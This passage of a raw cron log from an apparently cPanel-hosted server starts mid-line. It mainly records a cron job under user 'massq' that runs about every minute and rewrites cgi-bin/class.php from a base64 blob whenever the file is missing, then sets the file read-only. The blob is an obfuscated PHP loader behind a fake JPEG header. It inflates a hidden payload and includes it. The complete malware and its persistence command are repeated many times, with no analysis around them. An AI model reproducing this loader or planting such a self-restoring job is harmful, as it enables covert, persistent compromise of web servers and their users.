&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:54:01 server CROND[21640]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:55:01 server CROND[22510]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:55:01 server CROND[22511]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:55:01 server CROND[22512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 17:56:01 server CROND[23372]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:57:01 server CROND[24190]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 17:57:01 server CROND[24192]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:58:01 server CROND[25012]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:59:01 server CROND[25825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:00:01 server CROND[26649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:00:01 server CROND[26654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:00:01 server CROND[26657]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 18:00:01 server CROND[26658]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 18:00:01 server CROND[26667]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:01:01 server CROND[27592]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 18:01:01 server CROND[27593]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:01:01 server run-parts(/etc/cron.hourly)[27592]: starting 0anacron
Nov 11 18:01:01 server run-parts(/etc/cron.hourly)[27605]: finished 0anacron
Nov 11 18:02:01 server CROND[28357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:03:01 server CROND[29236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:04:01 server CROND[30121]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:05:01 server CROND[30831]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:05:01 server CROND[30833]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:05:01 server CROND[30834]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 18:05:01 server CROND[30832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
